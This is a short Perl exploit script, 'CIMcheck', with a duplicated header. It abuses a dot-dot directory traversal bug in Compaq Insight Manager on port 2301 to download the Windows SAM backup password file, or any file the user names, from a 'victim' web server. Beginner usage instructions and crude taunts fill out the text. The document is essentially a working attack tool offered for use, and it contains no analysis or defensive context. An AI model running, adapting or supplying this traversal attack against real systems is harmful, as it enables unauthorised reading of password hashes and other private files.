CIMcheck.pl

#!/usr/bin/perl

# CIMcheck - Compaq Insight Manager Exploit Checker By Neon-Lenz
# CIMcheck.pl

#!/usr/bin/perl

# CIMcheck - Compaq Insight Manager Exploit Checker By Neon-Lenz
# --------------------------------------------------------------
# Yea i know this little script is very easy to code and lame, but
# what the hell. This should do the job. Assuming i'm still learning Perl..
# Still i'll try to do my best, and code a better script next time!
# Greets to: Acid Blades, B-r00t, KGB, ThePike and Trib.
# -Neon-Lenz. - This email address is being protected from spambots. You need JavaScript enabled to view it.

# Usage for Newbies "perl CIMcheck.pl www.victim.com"
# using the usage for newbies option will check for the /winnt/directory/
# and looks for the sam._ file.

#The COOL option (for experienced users)
# is like this: "perl CIMcheck.pl www.victim.com /directory_you_want/ fileyou.want"
# If you still don't get it, then that means you're a stupid dumb mother*ucker!!
# Umm pardon me...*ahum* :)

system(cls);

print "CIMcheck - Compaq Insight Manager Exploit Checker By Neon-Lenz\n";
print "--------------------------------------------------------------\n";
print "CIMcheck checks for the (in)famous Compaq Insight Manager\n";
print "root dot dot bug. To check this the remote webserver must be\n";
print "running NT and having the port 2301 open.\n";
print "This little exploit-script opens up the full vulnerable url\n";
print "and attempts to get the sam._ backup password file from the remote\n";
print "repair directory. Another cool option is that you can specify which\n";
print "file you want to download, default is the /winnt/repair/ directory and\n";
print "the sam._ backup password file. But if you assign the script like\n";
print "this: perl CIMcheck.pl www.victim.com /winnt/win.ini\n";
print "then it will attempt to get the win.ini file from the winnt directory\n";
print "So in other words specify the directory and filename like this:\n";
print "/directory/filename to attempt to download the remote file\n\n";
print "Usage: perl CIMcheck.pl www.victim.com\n\n";
print "For COOL option: perl CIMcheck.pl www.victim.com /dir_you_want/ fileyou.want\n\n";
print "For more info e-mail me at neonlenz\@nightmail.com\n";

system(pause);

$host = $ARGV[0] || "www.victim.com";

$directory = $ARGV[1] || "/winnt/repair/";

$file = $ARGV[2] || "sam._";

{
system("explorer.exe", "http://$host:2301/../../..$directory$file");
}

#Yea, no more code, so stop reading it you jerk! ;D